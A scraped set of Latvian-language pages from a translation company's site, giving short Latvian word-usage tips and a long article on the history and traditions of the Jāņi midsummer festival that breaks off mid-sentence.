LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ēdīsim vaniļas kremu vai krēmu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-08-13 - URL: https://skrivanek.lv/krems-pret-krems/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KREMS PRET KRĒMS 1 Vai ēdīsim vaniļas kremu vai krēmu? Vārdu „krēms” latviešu valodā raksta ar garo patskani „e”: krēms. Kļūdainā izruna un rakstījums, iespējams, ieviesušies krievu valodas vārda „крем” izrunas iespaidā. Tomēr latviešu valodā šisvārds aizgūts no franču valodas: tā pamatā ir vārds „crème”. Tātad desertam gatavosim vaniļas krēmu, kurpes varam spodrināt ar apavu krēmu, kosmētikā lietojam sejas krēmu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim šo četrriteņu motociklu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-07-12 - URL: https://skrivanek.lv/kvadracikls-pret-kvadricikls-pret-kvadrocikls/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KVADRACIKLS PRET KVADRICIKLS PRET KVADROCIKLS 1 Kā sauksim šo četrriteņu motociklu? Paaugstinātas pārgājības motociklu ar četriem riteņiem sauc par kvadriciklu. Latviešu valodā termins veidots pēc analoģijas ar angļu valodas vārdu „quadricycle”. Latviešu valodā ir arī citi svešvārdi, kuros pirmā daļa ir „kvadri-”, piemēram, „kvadriennāle”, „kvadriljons”, „kvadrimobilis”. Tātad grūti izbraucamos ceļos varam izmantot kvadriciklus, varam izmēģināt spēkus kvadriciklu trasē utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai laulības ceremonijā noslēdzam laulības? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2022-12-23 - URL: https://skrivanek.lv/lauliba-pret-laulibas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LAULĪBA PRET LAULĪBAS 1 Vai laulības ceremonijā noslēdzam laulības? Vārdi „laulība” un „laulības” ir vārdi ar atšķirīgu nozīmi. Laulība (vienskaitlī) ir reliģiskā ceremonijā vai valsts iestādē noslēgta divu cilvēku savienība, kas veido ģimeni un rada viņiem attiecīgas tiesības un pienākumus. Savukārt laulības (daudzskaitlī) ir pati ceremonija, kurā noslēdz laulību. Tātad laulību ceremonijā tiek noslēgta laulība, lai sāktos laimīga laulības dzīve. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Meitenei matos iesieta lente vai lenta? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-12-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/lente-pret-lenta/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LENTE PRET LENTA 1 Vai meitenei matos iesieta lente vai lenta? Vārds „lente” ir 5. deklinācijas lietvārds, tātad vārda galotne ir „-e”, nevis „-a”. Vārda kļūdainais lietojums ar galotni „-a”, visticamāk, radies krievu valodas vārda „лента” iespaidā, turklāt kādreiz vārdi „lenta” un „lente” bija paralēlformas. Pareizo variantu atcerēties palīdz deminutīvs „lentīte” – deminutīva formai ir izskaņa „-īte” tāpat kā citiem 5. deklinācijas lietvārdiem, piemēram, „eglīte”, „priedīte”. Tātad meitenei matos plīvo lente. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Gūtās zināšanas lietojam vai pielietojam? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-10-22 - URL: https://skrivanek.lv/lietot-pret-pielietot/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LIETOT PRET PIELIETOT 1 Vai gūtās zināšanas lietojam vai pielietojam? Darbības vārds „pielietot” ir burtisks krievu valodas vārda „применить” pārcēlums latviešu valodā. Vārdā „pielietot” ir priedēklis „pie-”. Šim priedēklim ir nozīme ‘klāt’, piemēram, „pienākt” (kādam klāt), „pieliet” (ko klāt). Darbības vārds „pielietot” nozīmē ‘lietot’, nevis ‘lietot kaut ko klāt’, tātad priedēklis ir lieks. Vārds „pielietot” latviešu valodā ir nevēlams, un tā vietā labāk izvēlēties vārdus „lietot” vai „izmantot”. Tātad zināšanas lietosim. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kādus svētkus mēs svinam jūnijā – Līgo svētkus vai Jāņus? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2025-06-22 - URL: https://skrivanek.lv/ligo-svetki-pret-jani/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LĪGO SVĒTKI VAI JĀŅI 1 Kādus svētkus mēs svinam jūnijā – Līgo svētkus vai Jāņus? 21. jūnijā mēs svinam vasaras saulgriežus – laiku, kad ir visgarākā diena un visīsākā nakts gadā. Tieši tāpat pēc sešiem mēnešiem – ap 21. decembri – svinam ziemas saulgriežus, kad nakts ir visgarākā un diena visīsākā. Pirmie Ziemassvētki ir 25. decembrī, bet Ziemassvētku vakars – 24. decembrī. Tieši tāpat ir ar Jāņiem – 23. jūnijā, kad dodamies pie dabas, pinam vainagus, ejam rotaļās, mēs svinam Jāņu vakaru, kurš, protams, sasniedz virsotni Jāņu rītā, kad, sagaidījuši saullēktu, dodamies pie miera, lai, pēcāk piecēlušies, aizvadītu Jāņus. Dienu pirms Jāņiem kādreiz dēvēja par Zāļu dienu, vakaru pirms Jāņiem – par Zāļu vakaru. Šodien, domājams, pēc jāņudziesmu piedziedājuma, nostiprinājies Līgo dienas un Līgo vakara nosaukums. Neaizmirsīsim, ka īstie latviešu svētki ir Jāņi, kurus līgojam. Mēs taču dzeram kāzas, bet tādēļ tās nesaucam par Dzeršanas svētkiem, Ziemassvētkos dziedam „kaladū”, taču tāpēc tos nedēvējam par Kaladū svētkiem utt. Tātad Jāņos dziedāsim jāņudziesmas, plūksim jāņuzāles, izpildīsim Jāņu rituālus. Citi latviešu valodas padomi JĀŅI – VISLATVISKĀKIE SVĒTKI Līgojat, līgotāji, Nava gara Jāņa nakts: Vienā pusē saule gāja, Otrā pusē gaisma ausa. (Latviešu tautas dziesma) KAS IR JĀŅI? Jāņi ir gadskārtas svētki ar ļoti bagātām tradīcijām. Jau labu laiku pirms Jāņiem sākas gatavošanās svētkiem ─ tiek dziedātas Jāņu dziesmas, siets Jāņu siers, cepti pīrāgi, darīts alus un veikti daudzi citi saimnieciski sagatavošanās darbi, lai nedotu Jāņu bērniem iemeslu apdziedāt sētas ļaudis par nevīžību un slinkumu. Jāņus svin vasaras saulgriežu laikā, kad ir visīsākā nakts un visgarākā diena. Dienu pirms Jāņiem sauc par Zāļu dienu, tās vakaru sauc par Jāņu vakaru, nakti par Jāņu nakti un nākamā diena ir paši Jāņi. Valsts noteiktā Jāņu diena ir 24. jūnijā, kas ir dažas dienas vēlāk par vasaras saulgriežiem. Daļa latviešu diasporas Sibīrijā — 19. gadsimta latviešu kolonistu pēcteči Jāņus svin pēc vecā stila 6. un 7. jūlijā. Tie ir latviešu tautas lielākie un tradīcijām bagātākie svētki, kurus svin visas paaudzes un visas sabiedrības grupas. Vēsturiski Zāļu diena saistās ar vasaras saulgriežiem, taču datumu nesakritības dēļ saulgriežu svinēšana dažkārt tiek nodalīta no Jāņu dienas. Viena no būtiskākajām Jāņu tradīcijām ir pīt vainagus. Sievietēm vainagi tiek pīti no puķēm, bet vīriešiem vainagi parasti ir no ozola lapām. Līgošana bieži tiek saistīta ar auglības kultu un nelaimju novēršanu. Līdz pat šodienai ar nosaukumu Līgosvētki daļa svinētāju apzīmē Zāļu dienu, Jāņu nakti un Jāņu dienu. Tomēr arvien biežāk savu vietu ieņem latviski pareizais svētku nosaukums Jāņi. JĀŅU VĒSTURE Vasaras saulgriežu laikā līdz Zemei nonāk visvairāk Saules gaismas. Šī enerģija dabā veicina dzīvības vairošanos un augšanu, tāpēc ļoti daudzās pirmatnējās kultūrās šīs dienas tiek svinētas. Tā ir arī viena no vissenākajām Eiropas tautu tradīcijām, kas iezīmē laika cikliskumu un kalpo par atskaites punktu kalendāram. Pēc savas nozīmes tie bija vissvarīgākie gada svētki. Visu nakti jākurina ugunskurs, lai nodrošinātu gaismas pāreju no viena saules gada otrā. Ugunskurā tika dedzināti pērnie vainagi un mesti ziedokļi — lai nākamais cikls būtu auglīgs druvām, cilvēkiem un zvēriem. Tāpēc tika veiktas arī erotiskas darbības, bet par to visu atbildīgs bija Jāņa tēvs. Arī romiešu mitoloģijā dievs Jānuss (Ianus, izrunā ) atbild par galu un sākumu. Jaunais cikls (gads) bija jāsagaida tīram — pēc pusnakts bija jāmazgājas rasā, ezerā vai upē. Tāpat arī lēkšana pāri ugunskuram nodrošina attīrīšanos. Visi ciemiņi bija kārtīgi jāpacienā. 12. gadsimtā, vācu krustnešiem sasniedzot Baltijas krastus, viņus pārsteidza Jāņu nakts orģijas un pagānisko iezemiešu nesaprotamā līksmība pie nakts tumsā liesmojošiem ugunskuriem. Pirmie bīskapi uzskatīja, ka latvieši ir „tumši ļautiņi” un centās šos svētkus iznīdēt, taču Jāņu svinēšana izrādījās stiprāka par Dieva vārdiem, tāpēc kristīgajai baznīcai nācās iemācīties ar to sadzīvot. Vēlāk baznīca nosprieda, ka arī kristīgajā dzīvē derētu pa kādai līdzīgai izpriecai. Jāņu paražas ir ļoti senas un atrodamas tautas folklorā, bet pirmie svinību apraksti jau atrodami kopš viduslaikiem. Vēsturnieks Leonīds Arbuzovs pētījumā par latviešu literatūras pieminekļiem pieminējis dažus ievērības cienīgus faktus par Rīgas alus un vīna nesēju amata biedrību. Alus nesēji ir viens no četriem senākajiem amatiem Rīgā. Šī ģilde, saukta par Jāņa ģildi, pastāvēja no 1396. gada līdz pat 1870. gadiem. Tajā lielākoties bija latvieši un jau no 1517. gada arī amata vecākie šajā brālībā bija latvieši. Ierakstus biedrības grāmatās parasti veica garīdznieki. Tieši tajās atrodami vecākie ieraksti latviešu valodā — jau no 15. gadsimta. Jāņa ģildei Jēkaba baznīcā bija pat savs altāris par godu tās aizbildnim Jānim Kristītājam. Būtiska vieta šīs ģildes tradīcijās bija kopīgai svētku svinēšanai, īpašu godu izrādot Jānim Kristītājam, par kura dzimšanas dienu kristīgā baznīca pieņēmusi 24. jūniju. Jāņa ģilde bija brālība ar gadsimtiem senu vēsturi un pēc L. Arbuzova domām svētki tieši alus un vīna nesēju amata biedrības iespaidā pieņēma dažas tradīcijas. Piemēram, palielinātu alus lietošanu salīdzinot ar citiem svētkiem un ieražu dedzināt mucu, kura tiek uzlikta staba galā. Nav grūti šādu tradīciju sasaistīt ar biedrības aroda specifiku — alus un vīna transportēšanu. Muca staba galā kalpo arī par praktisku līdzekli labākai svētku laukuma izgaismošanai. Tautas tradīcijās uguni kārts galā sauc par pūni (pūnis) un tas dod rituālu saules gaismu, kas tālāk apspīd laukus, dodot tiem svētību, bet Jāņu sieram ir speciāla recepte. 1584. gadā Baltazars Rusovs savā Livonijas hronikā rakstīja, ka „Pie jāņugunīm pa visu lielo zemi ar lielu prieku danco, dzied un lēkā”. Zināms, ka tajā laikā Rīgas zvejnieki, mastu brāķētāji un pārcēlāji katru gadu pēc saulgriežiem laivās brauca uz Pārdaugavu vai arī uz kādu Daugavas salu, kur, kopā ar ģimenēm un viesiem dedzinot sārtus, līksmoja līdz pat rīta ausmai. Kad 1759. gadā bagātais latviešu mastu brāķētājs Jānis Šteinhauers nopirka daļu Zasumuižas, kur aizsākās Zāļu vakara svinēšanas tradīcija. Vēlāk svinēšanu pārcēla uz viņam piederošo Hermeliņa muižu Daugavas labajā krastā. Ap 1790. gadu ieviesās tradīcija arī rīkot svētku uguņošanu uz Daugavas. 1820. gados Rīgas rāte lika pārcelt Daugavmalas Zāļu tirgu pie Šāļu vārtiem Svērtuves ielas galā. Vēl 18. gadsimta beigās pie kādas nopostītas baznīcas Vīlandes apkārtnē Jāņu vakarā sapulcējušies tūkstošiem cilvēku. Uz drupām dedzināta Jāņuguns, kurā ļaudis metuši ziedojumus. Šķīstīšanās nolūkos sievietes kailas dejojušas ap drupām, citi turpat sēdējuši, ēduši un dzēruši. Pēc Latvijas Republikas nodibināšanas 1918. gadā, Zāļu dienas svinēšana izvērtās par tautas svētkiem. Tika izteikts priekšlikums, ka 22. , 23. un 24. jūniju vajadzētu atzīt par nacionālo svētku dienām, 22. jūnijā svinot Varoņu dienu (atceroties uzvaru Cēsu kaujās), 23. jūnijā Zāļu dienu, bet 24. jūnijā Jāņa dienu. Padomju laikā svētku svinēšana oficiāli nenotika. No pavārgrāmatām tika izņemtas Jāņu siera receptes un jāņtārpiņi bija jāsauc par spīdekļiem. 1990. gada 3. oktobrī likumā „Par svētku un atceres dienām” Jāņi atkal tika atzīti par valsts svētku dienām. JĀŅU ZĀĻU LASĪŠANA, VAINAGU PĪŠANA UN SĒTAS PUŠĶOŠANA Jāņus ievada Zāļu diena, kuras raksturīga paraža ir sētas pušķošana, vainagu vīšana un Jāņu zāļu lasīšana, no šīm darbībām arī cēlies Zāļu dienas nosaukums. Jāņus sagaidot, pušķo ēkas, vārtus, durvis, logus, jumtus, istabas, galdus un krēslus, darbarīkus. Jāņu zālēm ir sevišķa nozīme: tās nes auglību un svētību, dod veiksmi un veselību, veicina labklājības vairošanos. Tāpēc arī Jāņu bērni apveltī ar Jāņu zālēm cilvēkus, lopus un ēkas un visu, kam grib labu vēlēt. Latvieši uzskata, ka zāļu dienā un Jāņu vakarā plūktām zālēm ir īpaša burvība un spēks, jo tās ir plūktas dabas visaktīvākajā laikā. Pušķošanai izmanto ozola zarus un vainagus, vītnes, bērza meijas, lapas, ziedus un zāļu pušķus. Durvis un pagalmu parasti pušķo ar meijām un ozola zariem. Sētas pušķošanai ir arī aizsargāšanās nozīme pret ļaunumu, raganām, burvjiem un skauģiem, kas Jāņu laikā ir īpaši aktīvi un cenšas kaitēt sētai, laukiem, mājām, to ļaudīm. Ļaunuma atvairīšanai lieto pīlādža zarus, tos pieliek pie durvīm, iesprauž pažobelēs un citās vietās sētā, kuras vēlas pasargāt. Pīlādzim ir spēks pasargāt no ļaunuma ─ tam ogas galā ir krusta zīme, kam ir aizsargājošs spēks. Ļaunuma atvairīšanai lieto arī dažādus asumus, piemēram, dadžus, ābeļu zarus, izkaptis, adatas, ecēšas un nātres. JĀŅU CIENASTA SARŪPĒŠANA Kā jau svētkos pienākas, arī Jāņos latvieši pulcējas pie svētku galda. Galdā tiek celti daudzi ēdieni, kam ir arī simboliska nozīme. Ēdieni tiek rūpēti jau laikus pirms Jāņiem, lai uz svētkiem tos varētu celt galdā. Galvenais Jāņu ēdiens un simbols ir Jāņu siers, kuru Jāņos sien apaļu vai ar deviņiem stūrīšiem. Apaļais un dzeltenais Jāņu siers simbolizē sauli. Jāņu siera izskats, krāsa un garša saglabājusies nemainīga gadsimtu gaitā. Jāņu dzēriens ir alus, kas simbolizē dzīvību, dzīvības sulas, jo to gatavo no dzīva grauda. Toties bērniem tiek darīts iesala dzēriens. Jāņos galdā ir jābūt arī medum, kas bišu sarūpēts un ir dieva dāvana cilvēkam. Tik pilnīgs ir medus! Līdzās tam jāliek maize, pīrāgi un plātsmaizes, jo grauds, no kā maļ miltus, ir dzīvības un spēka simbols. JĀŅU UGUNS KURŠANA Jāņu svinību neatņemama daļa ir uguns – uguni Jāņos aizdedz līdz ar saules rietu un dedzina visu nakti – līdz saules lēktam, lai nepārtrauktu gaismas klātesamību. Jāņos gandrīz katrā sētā ļaudis pulcējas pie ugunskuriem un uguni paceļ arī augstas kārts galā, tādējādi uguns simbolizē Saules uzkāpšanu debesu kalnā, gaismas pilnīgo uzvaru pār tumsu. Pie Jāņu uguns līgotāji pavada visu nakti un cenšas palikt nomodā. Saules lēkts tiek gaidīts ar skanīgām dziesmām un gaišām domām. Līdz ar Saules lēktu tiek pavadīts Jānis, aicinot to apciemot atkal citu gadu. JĀŅI UN PAPARDES ZIEDS Runā, ka Jāņu nakts esot vienīgais laiks gadā, kad var redzēt noslēpumaino papardes ziedu. Kas to atrod, tas iegūst laimi un visas viņa vēlēšanās piepildās! JĀŅU PIRTS Iešana pirtī ir sena latviešu tradīcija, turklāt tolaik sievietes gāja kopā ar vīriešiem. Lāviņu noklāj ar koku zariem, pļavas puķēm un zālītēm. Katrai pirtsslotai ir sava nozīme. Ozollapu slotiņa dara skaidrākas domas, bērza slota atpūtina miesu un dod jaunus spēkus, bet kadiķa pirtsslota atbrīvo no visa sliktā un liekā. Kad svinētāji kārtīgi nopērušies, jālec tuvumā esošā dīķī, upē, ezerā vai vismaz vēsa ūdens baļļā. LATVIEŠU TAUTASDZIESMAS PAR JĀŅIEM Dainas jeb tautasdziesmas ir viena no galvenajām latviešu folkloras mutvārdu tradīcijām četru rindu vai, retāk, sešu rindu dzejā. Dažādi to varianti izplatīti visos Latvijas kultūrvēsturiskajos novados un tas veido daļu no latviskās identitātes. Latviešu tautasdziesmu vākšanu sāka vācbaltiešu literāti 18. gadsimta vidū, to sacenšoties turpināja Latviešu Draugu biedrība un jaunlatvieši 19. gadsimtā. Ievērojamākais tautasdziesmu apkopotājs bija Krišjānis Barons, kas izdeva akadēmisku latviešu tautasdziesmu sakopojumu „Latvju dainas” sešos sējumos Jelgavā un Pēterburgā (1894. —1915. ). Kr. Barona izveidotais Dainu skapis ar 268 815 dainu lapiņām 2001. gada 4. septembrī tika ierakstīts UNESCO Pasaules atmiņas (Memory of the World) sarakstā kā „The Cabinet of Dainas / Dainu skapis”. Barona izveidotajā Dainu skapī ir savāktas aptuveni 1800 dainas, kas saistītas ar Jāņu tematiku. JĀŅI PASAULĒ Vasaras saulgriežu svinības jūnija otrajā pusē svin arī citviet pasaulē – gan kurina ugunskurus, gan dzer ko stiprinošu un veic mistiskus rituālus. Bet ir arī pie mums, Latvijā, nepierastas izdarības ─ piemēram, tiek dāvināti bazilika stādiņi vai izraudzītas līgavas. Indieši Jāni sauc par Devajanu, grieķi par Apollonu, bet senie romieši to nodēvējuši par Janusu. Tieši romiešu Janusu daudzi arī uzskata par mūsu paša Jāņa ciltstēvu. Vasaras saulgrieži visplašāk tiek svinēti tikai četrās pasaules valstīs, kur tie atzīti par nacionālajiem svētkiem un šajā dienā ir oficiāla brīvdiena. Tas ir visās trijās Baltijas valstis – Latvijā, Lietuvā un Igaunijā, kā arī Kanādas provincē Kvebekā. JĀŅI OKEĀNA OTRĀ KRASTĀ ─ AMERIKĀ JĀŅI BRAZĪLIJĀ Brazīlijā tiek atzīmēta Svētā Jāņa diena, ko plašāk pazīst kā Jūnija svētkus. Šo svētku tradīcijas Brazīlijā ienāca līdz ar portugāļu ieceļotājiem. Svētkos tiek dejotas īpašas dejas, notiek tērpu parādes un rīkotas svētku maltītes, bet svētku laukuma centrā tiek uzstādīts ar ziediem greznots stabs un aizdegti ugunskuri. JĀŅI KANĀDĀ Jāņus galvenokārt svin Kvebekas provincē, kur svētku tradīcijas ieviesa franču kolonisti. Tie tika svinēti tik plaši, ka 20. gadsimtā Kvebekas provincē tos nācās atzīt par nacionālajiem svētkiem un pasludināt oficiālu brīvdienu. Viena no plašāk zināmajām svētku tradīcijām ir milzu ugunskuru aizdegšana 24. jūnija vakarā. JĀŅI AMERIKAS SAVIENOTAJĀS VALSTĪS Amerikas Savienotajās Valstīs vasaras saulgriežus svin galvenokārt skandināvu izcelsmes amerikāņi, īpaši zviedri. Tie pat tiek dēvēti par zviedru saulgriežiem un arī Zviedrijas dienu, kurā jau kopš 1941. gada tiek atminētas un godātas Zviedrijas tradīcijas un vēsture. Amerikas Savienotajās Valstīs laika posmā no 23. līdz 26. jūnijam ļoti izplatīti ir brīvdabas kantrīmūzikas festivāli. JĀŅI PIE SLĀVU TAUTĀM JĀŅI BULGĀRIJĀ Bulgārijā vasaras saulgriežos tiek atzīmēti gan pagāniskie svētki, gan svētīta Jāņa Kristītāja diena, taču bieži svinībās sajaucas abu svētku tradīcijas un rituāli. Bulgāru folklorā teikts, ka vasaras saulgriežos saule vēl pēdējo reizi uzsmaida cilvēkiem un tad lēnām sāk iestāties ziemas laiks. JĀŅI HORVĀTIJĀ Horvātijā vasaras saulgriežus atzīmē 23. jūnija vakarā, lielākoties ─ lauku apvidos. Svētku rituālu ietvaros ezeru un upju piekrastēs, kā arī pludmalēs tiek dedzināti ugunskuri, pār kuriem lec jaunieši. JĀŅI POLIJĀ Svētkos ir pieņemts ģērbt tradicionālos poļu tērpus un svētki tiek svinēti visu nakti līdz pat saullēktam. Meitenes gatavo ziedu vītnes, kas tiek mestas ūdenī, tāpat ar ziediem tiek rotātas mājas un pilsētu laukumi. JĀŅI UKRAINĀ Ukrainā vasaras saulgrieži tiek saukti par Ivana dienu un tiek krāšņi atzīmēta ar dažādiem pagāniskiem rituāliem. Neskatoties uz to, svētkus savā kalendārā iekļāvusi arī pareizticīgā baznīca. Daudzi no 